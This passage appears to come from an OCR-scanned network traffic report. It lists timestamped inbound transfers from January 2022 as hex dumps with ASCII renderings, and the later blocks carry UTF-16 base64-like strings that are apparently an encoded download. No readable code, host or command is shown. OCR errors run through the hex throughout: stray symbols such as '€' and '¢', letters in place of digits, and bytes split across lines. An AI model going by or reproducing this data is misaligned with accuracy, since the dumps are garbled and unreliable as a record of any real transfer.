
2022-01-14 03:59:13 UTC 198 IN Data Raw: 87 9d 8f 8e da 27 07 57 0f 11 61 94 bd 3d 05 8a 39 €5 07 93 3¢ 26 2 7b 72 c1 ¢3 52 f1 fa 0d 6f 2f fa 28 0d 51
86 64 9c a0 e8 29 c7 73 b5 2f 56 bc 6f Oc a4 c0 81 cf 71 3e fd e5 84 18 02 d8 07 42 c1 53 2d 40 84 3e 5a f3 e4 69 07 33
91 2f 39 b7 19 85 df a2 2b dd a0 d3 eb 07 ce b8 Ob 5b 8a 21 al fe 89 30 4b 88 €7 8e 7a d1 53 2¢ b1 31 41 c0 64 7e fd c4
f2 8d fd 0d 4d 62 a6 b0 44 cb 92 26 32 95 29 5a 3f €0 58 9¢ cd 81 10 9c 6¢ 3e 76 fb 69 €5 54 el 36 €9 64 c2 07 87 75 07
6f 4f d8 b6 57 d9 5d ec 3e 36 c7 64 b1 74 04 9a 4d 80 ac e8 96 77 f3 27 9b 88 6f cd 2a 8f ed 4a 7f 00 66 88 18 €5 2e Ob
3a d5 be 41 b6 96 ad c0 4d 6b ac Oe d9 a3 b6 57 3b cO db e7 77 6 d1 e2 89 Of 5a ce d8 b9 1d 65 d3 af 04 7c 52 53 9f 4f
3a 72 db 38 25 2a ca 48 4b 5f 1f 6d 31 f1 6a 54 b1 66
Data Ascii: 'Wa=9<&.{rRo/(Qd)s/Voq>BS-@>Zi3/9+[10KzS,1Ad~MbD&2)Z?XI>ViT6duoOW]>6dtMw'0*Jf.. AMKW;wZe|
RSO:r8%*HK_m1jTf

2022-01-14 03:59:13 UTC 202 IN Data Raw: 31 ff 68 48 9d 80 25 d9 02 1b ae 8b 3b 6e de 0f 18 af 5b a4 13 82 e5 6f 16 8a 28 8a 84 f7 d1 4e 5d fe 79 83 59
6¢c a9 d7 44 a3 fa fe 7e ae 03 04 b9 f2 35 90 c2 dd 77 a3 69 bb ca cc 08 48 d5 88 Ob el 7d 13 9d 73 ba 8d f2 65 63 ba 13
17 a0 b0 06 38 e3 b0 7d d1 6 fe 86 d6 6a 25 31 09 33 4e 04 05 21 df e4 77 c4 01 a7 41 81 40 db 96 96 e4 80 f2 b2 c4 31
5d 3d c1 bl 76 93 f4 09 c2 44 6¢ e8 8f ce aa al 6f eb ¢7 5d 3e 50 75 d7 85 ea 4d 63 64 ef 64 20 1b b4 d4 07 a7 5a 7e ce
54 83 8¢ 68 52 d5 a4 b5 df 82 e5 6¢ c6 aa 81 eb 61 f6 24 84 ad 8f 3¢ 69 9e 1b cd 6e 05 43 3a 08 95 93 39 79 eb 06 9a 66
12 65 b5 3e 97 25 bf 78 aa ac 7c¢ 41 4b d4 20 de 73 db 3c 2f 32 50 c3 36 48 64 00 a0 5d 97 b8 d1 91 af 07 a7 67 ea 2f 22
Oe 71 d6 f5 72 c2 c5 68 78 3f b0 86 ec 90 20 b0 b3 f6
Data Ascii: 1hH%;n[o(N]yYID~5wiH}sec8}j%13N!wA@ 1]=vDlo]>PuMcdd Z~ThRla$<inC:9yfe>%x|AK s</2P6Hd]g/"qrhx?

2022-01-14 03:59:13 UTC 206 IN Data Raw: e0 c9 cd b4 17 66 3c b0 3a 85 fc 54 f2 1a 6¢ db 4e 2 69 43 ff 7f bd 32 02 aa 11 be 4a d6 ce 71 6f 97 ca a5 8f
2d da 97 80 3c 7f 37 6 3d 1d 42 44 da 5c 77 2d f9 ae a8 bf 23 b6 1c c6 {7 25 40 le 95 ac ee 24 15 80 40 76 91 al 76 1b
48 2c 9b fe f2 34 ad b8 6e cb c3 51 91 88 €9 1e 39 ea 20 e2 9e 7c c3 dc 96 af 93 ce 7d bd 55 86 ae f8 e0 a5 e4 6f Ob d4 6f
7a 32 98 Oe 98 b5 eb e9 28 25 fa cb 6b ab 23 6a 59 28 42 d0 87 57 c6 c3 6a eb 30 al ff 1c 50 a4 dc da fc 67 d2 e7 64 3a
c6 c7 a2 47 7f 78 4a d9 fa 7c fd c1 96 18 98 9a 66 7e ce 86 e4 b5 e8 4c 87 df 96 9a ff 12 5a bb f1 05 73 5e 18 30 94 dc c5
€063 c7c802c7 71 2af9 el 2d 53 d7 53 97 d6 bf 92 6b b8 5c 81 ce 5b a6 06 e6 23 Oe 91 a8 7e bl 9a 48 94 ac e9 ca a0
el 55e371 97 db 10 a3 10 12 20 b5 cd 08 94 Of
Data Ascii: f<:TINiC2Jqo-<7=BD\w-#%@$@vvH,4nQ9 [}Uooz2(%k#jY (BWjOPgd:GxJ|f~LZs0cq*-SSk\[#~HUq
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 210 IN Data Raw: 84 al 7f 94 87 ee 95 6b 57 €6 36 41 89 40 8b 02 00 b7 6f b2 67 24 f1 65 96 a3 73 2d 00 cb 10 bf c1 33 d3 01 2¢
5a 97 10 fc ad €6 89 d0 01 4c ad 76 6b d1 86 87 8b 38 76 25 be 35 89 1c 68 ac 5d 07 18 87 cb 41 b6 ee c2 32 58 11 f5 06
9c 84 e4 ee 53 23 2f 31 04 67 56 41 34 97 e2 d8 6a 20 4a 90 57 08 d4 29 62 61 ba 3c b0 f1 4c bc 3¢ f7 2a el d5 3a 5d 50
02 01 88 c9 7b 08 db 92 fa 5b ba 84 04 5b 37 e3 33 {7 ef 3c 7f 95 d3 35 8e 47 8e Ob 5e c6 30 ee 81 83 77 c9 el e8 94 c1
€301 97 93 f6 2b bl 7e c2 5d 4d 6b 4b f0 a5 09 7b 7b ce b6 2c 8b 95 32 83 65 70 b6 9 23 89 fe be a8 2e 14 31 d0 41 44
41 97 01 46 31 92 5b 0a 83 98 61 b5 ec 96 cd 45 a8 f0 30 49 a9 2c 15 05 05 €9 a6 6a 74 06 b3 34 6f e2 01 ec c3 82 74 77
6¢c e0 47 bf 7a 9a 67 f1 a2 2d 9a b1 07 5 b0 0d 45 37
Data Ascii: kW6A@og$es-3,ZLvk8v%5h]A2XS#/1gVA4] JW)ba<L<*:]P{[[73<5G"0w+~]MkK{{,2ep#.1ADAF1[aEQl,jt4
otwlGzg-E7

2022-01-14 03:59:13 UTC 214 IN Data Raw: fd c1 5b 0a a3 e4 53 01 dd 3c 7c a7 f6 d9 a9 b3 72 f2 Oc 1c 71 c0 73 06 6b d3 70 9d 66 97 7a 09 96 06 2e f9 6a
5b 39 6a cb 91 b3 fd a9 20 e0 8e 82 27 71 0f 9e 79 38 e2 24 47 cc 9e e0 6a 43 ff 2d ad bb 5f d9 b5 ac 24 10 a9 56 68 ea
4122 3d 29 e5 83 ab d4 5b 72 bf ca 67 41 f0 1c 4e c3 52 21 79 be 03 b3 €9 74 7a 75 d9 cd e2 73 1e b4 8f fc 1a 17 4e 4e
98 b9 4a a0 ff 89 74 37 56 c8 4d d8 af 29 d3 df 0a ba a6 c9 33 1a 35 32 c3 f6 a5 45 35 f2 4¢c 62 a2 3a 2a b1 89 ef ae 37 4d
6e 70 a0 b1 9d 6d 76 65 00 36 27 cb 10 fc 8e 00 ff 32 93 4b 9d 10 67 f6 b8 89 56 c7 72 f8 ab 4e 24 f5 56 7c 32 c1 7a 18
60 af 6¢ 45 74 23 97 e2 6b 9d e8 7b dc 4f ad cc 3c 14 59 ed 9e 57 86 b0 b7 25 bd 4a 11 88 el 8f 1a fO e2 4a 96 94 61 7c
d3 ee 0d cd 44 d6 Ob 21 9¢ d9 17 33 ¢9 7d 2b 51 af
Data Ascii: [S<|rgskpfz.j[9] 'qy8$GjC-_$VhA"=)[rgANR!ytzusNNJt7VM)352E5Lb:*7Mnpmve6'2KgVrN$V|2z' |IEt#
k{O<YW%JJa|D!3}+Q

2022-01-14 03:59:13 UTC 226 IN Data Raw: 65 69 48 46 3b 1c 95 c8 le cO fb de 9c 75 2d 8 c7 06 fa b6 86 35 86 7e fe 99 41 dc 40 7a 11 65 b6 2e 05 5f c4
b0 b1 b3 3d 70 9a 5d 44 62 f8 14 a7 c5 07 24 ee 45 75 fe eb e6 d3 a3 6f 6¢ ff 77 d2 7e 51 af 93 1d 48 Oe 57 8c 98 d8 a9 6f
b9 00 6e 73 55 bd d1 6¢ 66 d6 d1 27 1b 95 d8 be €9 07 73 05 f1 45 e2 29 41 5¢ 41 c9 cc 92 17 63 98 2c 8¢ d6 8d 26 95 b9
63 €320 07 da 9b a2 ce 5d ee f6 a3 71 f7 12 9b ef 1e df 00 ab a7 8c 10 87 4e ca 54 7c 7d 38 22 77 98 09 5c 33 e9 c9 ea
04 71 b3 75 78 4b d8 fd 67 84 52 f4 70 97 77 cb 2b 0f 56 b7 b9 21 85 27 8e 94 d3 7e be 32 a3 4f bd bl el 7f 95 a4 56 71
a5 a6 2e a3 bf 3f 90 18 ff 66 d2 d4 71 16 e6 48 32 1c 37 63 5d 5d 12 8b ea fd 98 65 da b8 ad a2 36 71 23 5e b1 2d 2c 56
d1 53 c1 f4 90 04 8b 05 38 7f 1b dO ae f0 a0 34 b2
Data Ascii: eiHF;u-5~A@ze._=p]Db$Euolw~QHWonsUIf'sE)A\Ac,&c JqNT[}8"w\3quxKgRpw+V!'~20Vq.?fqH27c]le6g#"-
VS84

2022-01-14 03:59:13 UTC 230 IN Data Raw: 17 22 9e 50 6f de 9c f1 3a f4 18 94 aa 33 5e 1b 36 €8 a5 a7 37 ad b3 e0 db b3 e7 d2 d5 67 1a e5 55 29 5b 5d
46 0d Oa f4 10 6¢ b5 77 a4 59 01 f6 07 f9 44 el c9 7a a8 54 78 7d ad a8 5e db 11 8f 37 2a dd 39 39 35 7a ec f8 60 ae af
4251 b5 c52b 31 d0 8d 64 05 1c a8 36 3¢ 73 c2 a8 21 30 b6 e5 Oe 2a 64 e5 41 1d 0d c1 c2 2c e8 5 3f el 78 24 92 c0 8a
19 4e 4b 68 47 23 0f 91 82 23 bf 8f 0e 06 50 ff 2c 33 89 a8 52 5d 97 0Oa 5e 7d 7b cd 6 fO el df ae 23 08 a2 29 94 23 34 96
76 69 a6 31 f4 cc 9d 88 e0 f3 20 ea 33 d0 af b1 73 be 3e a8 dc 89 62 87 9f d8 f0 1f b2 66 42 47 65 91 Of 76 fc 87 ab d8 99
21 7d d7 26 72 6d d9 7e f0O Oc df 46 17 ca 5a 31 45 ef 35 1b 03 5a 08 f3 dc 1c b6 5e b6 ba b0 fa 6e 8e al c5 15 bc 37 80
b6 12 37 7e d5 1c f5 db 36 bb bb 54 20 31 43 57 4a
Data Ascii: "P0:3"67gU)[JFIwYDzTx}"7*995z BQ+1d6<s!0*dA, ?x$NKhG##P,3R]"{#)#4vil 3s>bfBGev!}&rm~FZ1E
5Z"n77~6T 1CWJ

2022-01-14 03:59:13 UTC 246 IN Data Raw: a8 c8 bb 40 7f 88 af da bb 70 c4 5a 25 e9 06 99 42 80 1f 25 9e 88 d3 4b cb 35 7b 4f Ob 30 ¢5 bf 42 c0 cc bl 41
33 8e 39 cc 3b 6d 8e 04 49 fc c5 dd 5e 50 35 ¢2 a5 94 41 3d ff 9d 1b 31 3b 5a e4 6b 5e d5 30 dc 3e 73 d8 54 9f 6f 42 2b
3a 9b 54 4f 47 4c 90 8b 77 bf 3f 49 08 87 7e 86 74 13 68 23 ba c8 d9 8f c4 d1 6¢ 11 e2 d1 05 31 9b ed 24 44 4f 38 9c ea
25 de 2a 71 3e c5 ee Oe ee b9 dc db 87 98 8d 85 81 f1 d4 72 93 80 30 1f 3a 5a 09 22 6¢ 5d 2 66 89 75 51 0 b4 42 6e 5e
dc 9c c8 0b fd 5a Ob e2 41 1c 5f 1d 50 4f 58 7 74 09 05 5e f2 6a 84 fc 6d 13 63 Oc 16 1f d1 7 6a dO 8 de a4 03 6e 62 33
fa 64 14 40 6d fa e9 f8 fa 01 2d b7 al cc 30 72 4c e9 e8 22 7c bf b9 bf a0 c0 51 2¢ 22 fb 3b bb ba 4f 0a 82 18 11 1f 47 3a
3d 84 54 b8 8a 86 85 e4 98 ca 64 85 7b d4 27 bd
Data Ascii: @pZ%B%K5{O0BA39;mI"P5A=1;Zk"0>sToB+ TOGLW?I~th#|1$D08%*q>r0:Z"l],fuQBn"ZA_POXt\jmcjnb3d@
m-0rL"|Q,";0G:=Td{'

2022-01-14 03:59:13 UTC 258 IN Data Raw: 00 4e 00 48 00 63 00 33 00 64 00 47 00 68 00 43 00 55 00 7a 00 4f 00 5a 00 64 00 4a 00 4a 00 50 00 47 00 66
00 4d 00 67 00 4f 00 69 00 4a 00 6¢ 00 6¢ 00 73 00 4d 00 53 00 58 00 4d 00 67 00 31 00 74 00 73 00 66 00 52 00 32 00 6f
00 46 00 6d 00 59 00 76 00 30 00 34 00 43 00 48 00 59 00 55 00 6d 00 67 00 41 00 73 00 74 00 46 00 4e 00 45 00 6e 00
380067 00 50 00 71 00 41 00 4f 00 33 00 2b 00 78 00 32 00 53 00 41 00 64 00 78 00 30 00 4c 00 52 00 51 00 56 00 5a
00 6e 00 6a 00 5a 00 41 00 69 00 50 00 4b 00 46 00 6a 00 47 00 4d 00 52 00 41 00 52 00 4b 00 4f 00 32 00 46 00 79 00 7
500 34 00 59 00 34 00 63 00 36 00 37 00 78 00 50 00 52 00 2b 00 62 00 4c 00 6d 00 67 00 51 00 30 00 37 00 41 00 65
00 49 00 47 00 35 00 65 00 58 00 4d 00 6e 00 41 00 74 00 36 00 34 00
Data Ascii: NHc3dGhCUzOZdJIPGfMgOiJllsMSXMg1tsfR20FmYv04CHYUmgAsStFNEN8gPqAO3+x2SAdX0LRQVZn
JZAIPKF[IGMRARKO2Fyu4Y4c67xPR+bLmgQ07AelG5eXMnAt64

2022-01-14 03:59:13 UTC 274 IN Data Raw: 00 45 00 50 00 45 00 4a 00 37 00 39 00 78 00 76 00 55 00 42 00 52 00 6¢ 00 6f 00 6a 00 6a 00 61 00 47 00 63
0043 00 78 00 59 00 2f 00 50 00 54 00 74 00 5a 00 50 00 45 00 38 00 44 00 70 00 64 00 71 00 50 00 2f 00 4d 00 51 00
69 00 38 00 4d 00 32 00 52 00 59 00 34 00 77 00 2b 00 62 00 4b 00 63 00 4a 00 43 00 58 00 4d 00 33 00 43 00 5a 00 65
00 7a 00 37 00 54 00 51 00 31 00 54 00 6b 00 35 00 45 00 57 00 41 00 45 00 59 00 2b 00 75 00 30 00 61 00 4e 00 43 00
47 00 63 00 38 00 76 00 67 00 57 00 53 00 39 00 36 00 6a 00 61 00 56 00 4b 00 4d 00 4c 00 30 00 2b 00 61 00 4f 00 35
00 54 00 71 00 4f 00 43 00 6f 00 64 00 48 00 2f 00 58 00 2b 00 43 00 78 00 48 00 55 00 44 00 6b 00 63 00 4d 00 4b 00 47
00 45 00 4f 00 4c 00 5a 00 70 00 2f 00 33 00 67 00 2b 00 46 00 6a 00
Data Ascii: EPEJ79xvUBRI0jjaGeCxY/PTtZPESDpdqP/MQISBM2RY4w+bKcICXM3CZez7TQITKSEWAEY +u0aNCGe
8vgWS96jaVKMLO+a05TqOCodH/X+CxHUDKCMKGEOL Zp/3g+Fj

2022-01-14 03:59:13 UTC 290 IN Data Raw: 00 50 00 45 00 2b 00 6¢ 00 72 00 64 00 61 00 32 00 31 00 73 00 55 00 71 00 4c 00 47 00 61 00 70 00 48 00 48
00 4e 00 76 00 54 00 42 00 4c 00 66 00 7a 00 58 00 35 00 56 00 64 00 61 00 72 00 65 00 6¢ 00 6¢ 00 50 00 52 00 39 00
57 00 79 00 6f 00 4d 00 49 00 56 00 4c 00 48 00 65 00 55 00 48 00 75 00 33 00 43 00 35 00 48 00 78 00 6d 00 2b 00 77
00 6b 00 50 00 34 00 6¢ 00 6¢ 00 41 00 36 00 41 00 62 00 4f 00 41 00 52 00 4a 00 46 00 74 00 6b 00 76 00 68 00 78 00 4
800 46 00 6e 00 75 00 75 00 56 00 30 00 61 00 34 00 66 00 32 00 6b 00 32 00 7a 00 4e 00 2b 00 37 00 57 00 71 00 64
00 30 00 6b 00 35 00 33 00 31 00 42 00 71 00 65 00 45 00 31 00 5a 00 50 00 34 00 54 00 43 00 63 00 38 00 51 00 54 00
31 00 35 00 4b 00 76 00 42 00 44 00 4e 00 73 00 55 00 39 00 57 00 2b 00
Data Ascii: PE+Irda21sUgqLGapHHNVTBL{zX5VdarellPROWyoMIVLHeUHUu3C5Hxm+wkP4IIA6AbOARJFtkvhxHF
nuuV0a4f2k2zN+7WqdOok531BqeE1ZP4TCc8QT15KVBDNSUIW+

2022-01-14 03:59:13 UTC 306 IN Data Raw: 00 37 00 38 00 53 00 6a 00 63 00 74 00 73 00 57 00 68 00 72 00 46 00 44 00 57 00 34 00 69 00 51 00 78 00
37 00 63 00 4e 00 79 00 44 00 62 00 31 00 41 00 38 00 34 00 43 00 2f 00 68 00 74 00 54 00 2b 00 6a 00 67 00 70 00 52
00 55 00 4c 00 75 00 51 00 75 00 6¢ 00 34 00 79 00 52 00 36 00 4e 00 4e 00 32 00 50 00 4c 00 44 00 4d 00 31 00 79 00 4
300 68 0042 00 4d 00 66 00 46 00 64 00 65 00 32 00 43 00 43 00 46 00 69 00 4e 00 43 00 61 00 4f 00 38 00 43 00 52 00
74 00 79 00 6e 00 54 00 64 00 36 00 4e 00 77 00 52 00 6e 00 5a 00 74 00 74 00 6e 00 64 00 51 00 6a 00 54 00 5a 00 33
00 79 00 44 00 50 00 4f 00 44 00 32 00 59 00 73 00 33 00 5a 00 37 00 41 00 35 00 7a 00 2b 00 44 00 71 00 6d 00 69 00
44 00 64 00 4f 00 31 00 62 00 31 00 4c 00 75 00 55 00 66 00 33 00 54 00
Data Ascii: 78SjctsWhrFDW4iQx7cNyDb1A84C/htT+jgpRULuQul4yR6NN2PLDM1yChBMfFde2CCFiINCaO8CRty
nTd6NwWRNZitndQjTZ3yDPOD2Ys3Z7A5z+DgmiDdO1b1LuUf3T
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 322 IN Data Raw: 00 73 00 4a 00 6d 00 74 00 75 00 74 00 4a 00 58 00 32 00 64 00 71 00 57 00 6b 00 69 00 52 00 69 00 37 00
63 00 34 00 48 00 6¢ 00 45 00 75 00 50 00 70 00 43 00 78 00 75 00 52 00 31 00 47 00 70 00 46 00 70 00 39 00 36 00 45
00 69 00 67 00 7a 00 62 00 47 00 63 00 7a 00 61 00 69 00 4b 00 54 00 66 00 38 00 37 00 34 00 73 00 73 00 42 00 30 00
46 00 6e 00 44 00 64 00 70 00 32 00 68 00 31 00 38 00 57 00 4a 00 42 00 38 00 6a 00 72 00 33 00 75 00 2f 00 2f 00 43
00 59 00 6f 00 42 00 49 00 62 00 41 00 50 00 46 00 42 00 58 00 4f 00 6f 00 4c 00 7a 00 63 00 69 00 7a 00 67 00 6e 00 4d
00 4a 00 66 00 41 00 69 00 6f 00 4a 00 31 00 51 00 64 00 4a 00 45 00 6a 00 58 00 6a 00 4b 00 59 00 68 00 77 00 55 00
57 00 2f 00 73 00 53 00 42 00 41 00 6a 00 76 00 34 00 51 00 54 00 76 00
Data Ascii: sJmtutJX2dgWkiRi7c4HIEuPpCxuR1GpFp96EigzbGczaiKTf874ssBOFnDdp2h18WJB8jr3u//CYoBIbAPFBXOo
LzcizgnMJfAi0J1QdJIEjXjKYhwUW/sSBAjv4QTv

2022-01-14 03:59:13 UTC 338 IN Data Raw: 00 34 00 48 00 55 00 63 00 6e 00 4f 00 68 00 65 00 73 00 46 00 30 00 66 00 4a 00 46 00 41 00 68 00 50 00 6a
0031 00 36 00 7a 00 6b 00 36 00 49 00 5a 00 4f 00 4e 00 68 00 44 00 63 00 4b 00 79 00 62 00 53 00 38 00 59 00 6¢ 00
47 0057 00 75 00 37 00 31 00 70 00 2f 00 70 00 6b 00 31 00 63 00 67 00 65 00 48 00 54 00 45 00 72 00 55 00 34 00 76
00 61 00 75 00 33 00 4b 00 6e 00 33 00 42 00 6b 00 33 00 59 00 4f 00 4a 00 6f 00 67 00 74 00 4e 00 6d 00 64 00 72 00 5
9 00 6b 00 30 00 2b 00 48 00 57 00 35 00 6d 00 31 00 46 00 77 00 47 00 70 00 4d 00 4d 00 62 00 31 00 6a 00 63 00 51
00 4a 00 79 00 31 00 4e 00 46 00 64 00 66 00 74 00 62 00 47 00 74 00 64 00 34 00 39 00 45 00 77 00 37 00 44 00 34 00
4f 00 62 00 6d 00 35 00 45 00 63 00 72 00 45 00 34 00 34 00 33 00 6¢ 00
Data Ascii: 4HUcnOhesFOfJFAhPj16zk61ZONhDcKybS8YIGWu71p/pklcgeHTErU4vau3kn3Bk3YOJogtNmdrYk
0+HW5m1FwWGpMMb1jcQJy1NFdftbGtd49Ew7D40bm5ECrE443|

2022-01-14 03:59:13 UTC 354 IN Data Raw: 00 39 00 67 00 49 00 74 00 72 00 4c 00 50 00 50 00 37 00 58 00 36 00 52 00 52 00 7a 00 59 00 75 00 4f 00 59
00 75 00 33 00 66 00 58 00 74 00 58 00 61 00 32 00 47 00 6d 00 2f 00 48 00 66 00 70 00 34 00 2b 00 56 00 49 00 39 00
36 00 68 00 31 00 6f 00 4e 00 50 00 4a 00 42 00 49 00 70 00 35 00 79 00 63 00 39 00 6d 00 48 00 46 00 54 00 58 00 6d
00 64 00 6b 00 31 00 67 00 76 00 64 00 4a 00 30 00 71 00 65 00 49 00 6¢ 00 78 00 56 00 77 00 5a 00 63 00 70 00 69 00
4e 00 34 00 35 00 31 00 36 00 77 00 35 00 79 00 48 00 4f 00 74 00 72 00 77 00 78 00 58 00 73 00 63 00 79 00 72 00 6¢
00 5a 00 2f 00 34 00 2f 00 41 00 4c 00 6d 00 4c 00 77 00 66 00 67 00 4a 00 6a 00 46 00 30 00 58 00 35 00 6d 00 73 00 36
00 63 00 34 00 38 00 4b 00 56 00 55 00 63 00 43 00 65 00 4c 00 71 00
Data Ascii: 9gltrLPP7X6RRzYuOYu3fXtXa2Gm/Hfp4+VI96h10NPJIBIp5ycOmHFTXmdk1gvdJOgellxVwZcpiN4516w5yHOtr
wxXscyrlZ/4/ALmLwfgJjFOX5ms6c48KVUcCelq

2022-01-14 03:59:13 UTC 370 IN Data Raw: 00 70 00 42 00 49 00 4a 00 55 00 6e 00 65 00 33 00 39 00 64 00 68 00 79 00 34 00 74 00 2f 00 6e 00 78 00 59
00 64 00 6d 00 61 00 4d 00 6f 00 33 00 79 00 43 00 65 00 30 00 31 00 69 00 70 00 2b 00 34 00 48 00 76 00 79 00 4a 00
74 0032 00 76 00 69 00 67 00 78 00 4e 00 51 00 4c 00 77 00 72 00 33 00 33 00 51 00 6d 00 6a 00 59 00 45 00 31 00 43
00 67 00 53 00 46 00 4f 00 31 00 6d 00 70 00 61 00 2b 00 59 00 75 00 4e 00 4f 00 34 00 62 00 33 00 38 00 57 00 34 00 7
000 38 00 68 00 2f 00 38 00 7a 00 32 00 64 00 39 00 4f 00 47 00 50 00 69 00 7a 00 6f 00 77 00 77 00 6b 00 4e 00 45 00
73 00 33 00 37 00 57 00 56 00 69 00 52 00 52 00 37 00 41 00 37 00 2b 00 57 00 61 00 50 00 63 00 63 00 76 00 54 00 4c
00 57 00 4e 00 75 00 35 00 7a 00 64 00 4f 00 4f 00 48 00 2f 00 68 00
Data Ascii: pBIJUne39dhy4t/nxYdmaMo3yCe0lip+4HvyJt2vigxNQLwr33QmjYE1CgSFO1mpa+YuNO4b38W4p8
h/8z2d90GPizowwkNEs37WViRR7A7+WaPccvTLWNu5zdOOH/h

2022-01-14 03:59:13 UTC 386 IN Data Raw: 00 37 00 46 00 56 00 56 00 57 00 74 00 55 00 77 00 79 00 32 00 54 00 4f 00 55 00 51 00 7a 00 78 00 54 00 38
00 78 00 7a 00 39 00 48 00 42 00 66 00 62 00 77 00 6e 00 57 00 2f 00 32 00 2f 00 6f 00 66 00 75 00 44 00 34 00 64 00 74
0035 00 41 00 50 00 65 00 53 00 58 00 61 00 33 00 59 00 4a 00 53 00 4d 00 4a 00 56 00 53 00 71 00 52 00 64 00 6a 00
4c 00 4b 00 42 00 48 00 52 00 44 00 66 00 7a 00 41 00 72 00 49 00 34 00 35 00 43 00 70 00 30 00 62 00 4c 00 4a 00 79
00 5a 00 48 00 2b 00 31 00 30 00 4a 00 37 00 39 00 6b 00 30 00 76 00 4f 00 4c 00 64 00 78 00 4b 00 4a 00 44 00 42 00 4
f00 76 00 6b 00 56 00 31 00 53 00 63 00 52 00 35 00 4a 00 42 00 71 00 6f 00 79 00 45 00 4c 00 77 00 6b 00 4b 00 6¢ 00
72 00 53 00 6e 00 30 00 63 00 72 00 5a 00 38 00 2b 00 74 00 70 00
Data Ascii: 7FVVWtUwy2TOUQzxT8xz9HBfbwnW/2/ofuD4dt5APeSXa3YJSMIVSqRdjLKBHRD{zArl45CpObLJyZ
H+10J79k0vOLdxKIDBOVkV1ScR5JBgoyELWKKIrSnOcrZ8+tp

2022-01-14 03:59:13 UTC 402 IN Data Raw: 00 35 00 52 00 4c 00 69 00 6¢ 00 68 00 54 00 47 00 39 00 50 00 2b 00 4f 00 30 00 70 00 78 00 6¢ 00 65 00 66
00 6e 00 30 00 31 00 67 00 34 00 47 00 41 00 2b 00 6a 00 7a 00 45 00 45 00 6e 00 4c 00 72 00 66 00 44 00 2f 00 43 00
78 00 53 00 74 00 41 00 4a 00 35 00 38 00 50 00 33 00 58 00 30 00 78 00 45 00 79 00 46 00 4e 00 74 00 65 00 33 00 77
00 35 00 54 00 67 00 6d 00 49 00 4e 00 5a 00 6¢ 00 76 00 61 00 59 00 4e 00 30 00 63 00 41 00 30 00 6f 00 64 00 31 00 2
£00 46 00 47 00 4e 00 59 00 64 00 76 00 4e 00 59 00 78 00 78 00 74 00 73 00 52 00 41 00 4e 00 33 00 75 00 61 00 50 00
6b 00 38 00 55 00 59 00 6d 00 6f 00 68 00 62 00 63 00 64 00 4c 00 70 00 6¢ 00 49 00 55 00 39 00 6a 00 36 00 69 00 35
0051 00 75 00 46 00 48 00 6f 00 6a 00 44 00 32 00 39 00 45 00 48 00
Data Ascii: SRLINTGIP+00pxlefn01g4GA+jzEENLfD/CXStAI58P3X0XEyFNte3w5 TgmINZIvaYNOCAO0d1/FGNYdVNYxxt
SRAN3uaPk8UYmohbcdLpllU9j6i5QuFHOJD29EH

2022-01-14 03:59:13 UTC 418 IN Data Raw: 00 7a 00 38 00 6a 00 62 00 4d 00 45 00 53 00 56 00 32 00 6f 00 4d 00 49 00 64 00 57 00 57 00 7a 00 39 00 57
0072 00 79 00 68 00 2b 00 79 00 72 00 56 00 7a 00 67 00 68 00 53 00 6d 00 34 00 39 00 43 00 51 00 70 00 62 00 4d 00
49 00 53 00 4e 00 58 00 39 00 71 00 6e 00 69 00 6¢ 00 67 00 34 00 6d 00 69 00 6b 00 37 00 34 00 62 00 79 00 52 00 4f
00 2f 00 48 00 54 00 6d 00 68 00 6f 00 46 00 50 00 53 00 4d 00 78 00 31 00 66 00 6f 00 59 00 58 00 6¢ 00 78 00 4b 00 48
00 69 00 79 00 67 00 62 00 7a 00 47 00 6b 00 69 00 30 00 54 00 72 00 45 00 4b 00 42 00 31 00 35 00 75 00 67 00 43 00
4a 00 59 00 75 00 30 00 6d 00 4c 00 48 00 67 00 74 00 6e 00 55 00 4c 00 69 00 55 00 2b 00 4a 00 56 00 30 00 46 00 61
00 5a 00 33 00 53 00 39 00 56 00 4e 00 72 00 69 00 51 00 6a 00 54 00
Data Ascii: zZ8]bMESV20MIdWWz9Wryh+yrVzghSm49CQpbMISNX9qgnilg4dmik74byRO/HTmhoFPSMx1foYXIxKHi
ygbzGkiOTrEKB15ugCJYuOmLHgtnULiU+JVOFazZ3S9VNriQjT

2022-01-14 03:59:13 UTC 434 IN Data Raw: 00 68 00 30 00 41 00 2f 00 43 00 38 00 6¢ 00 64 00 52 00 74 00 6f 00 49 00 58 00 6¢ 00 67 00 2f 00 37 00 46
00 41 00 6d 00 6e 00 66 00 32 00 65 00 4¢ 00 6e 00 45 00 70 00 52 00 49 00 31 00 30 00 30 00 33 00 49 00 6a 00 43 00
430035 00 59 00 5a 00 4d 00 74 00 35 00 63 00 76 00 36 00 34 00 52 00 65 00 64 00 46 00 30 00 4c 00 51 00 62 00 73
00 31 00 6b 00 41 00 69 00 7a 00 35 00 51 00 2f 00 30 00 51 00 62 00 4e 00 45 00 75 00 34 00 72 00 52 00 43 00 61 00 4
6 00 72 00 43 00 41 00 44 00 45 00 39 00 32 00 66 00 44 00 68 00 58 00 58 00 61 00 51 00 56 00 4d 00 31 00 2b 00 68
00 54 00 4b 00 51 00 47 00 4¢ 00 47 00 30 00 63 00 41 00 70 00 5a 00 35 00 4f 00 35 00 34 00 69 00 79 00 76 00 34 00
71 00 73 00 67 00 6a 00 79 00 6b 00 4a 00 76 00 46 00 4a 00 58 00 53 00
Data Ascii: hOA/C8IdRtolXlg/7FAmMNf2eLnEpRI10031iCC5YZMt5cv64RedFOLQbs1kAIZEQ/0QbNEU4rRCaFrCADE92fDhX
XaQVM1+hTKQGLGOCAPZ5054iyvaqsgiykIVFIXS

2022-01-14 03:59:13 UTC 450 IN Data Raw: 00 6d 00 74 00 30 00 41 00 61 00 44 00 56 00 61 00 57 00 58 00 2b 00 2f 00 43 00 61 00 71 00 51 00 61 00 52
0050 00 78 00 78 00 34 00 50 00 4b 00 4b 00 6a 00 77 00 45 00 56 00 64 00 70 00 58 00 51 00 68 00 4a 00 70 00 65 00
7a 00 7a 00 31 00 7a 00 75 00 6a 00 64 00 45 00 6f 00 67 00 55 00 4d 00 72 00 62 00 6d 00 33 00 7a 00 35 00 75 00 35
0047 00 75 00 2b 00 65 00 50 00 52 00 57 00 7a 00 41 00 65 00 37 00 4a 00 66 00 58 00 6a 00 61 00 32 00 48 00 48 00
41 00 6¢ 00 58 00 4f 00 46 00 49 00 30 00 6d 00 49 00 2b 00 4d 00 58 00 57 00 75 00 6e 00 39 00 52 00 72 00 6a 00 6d
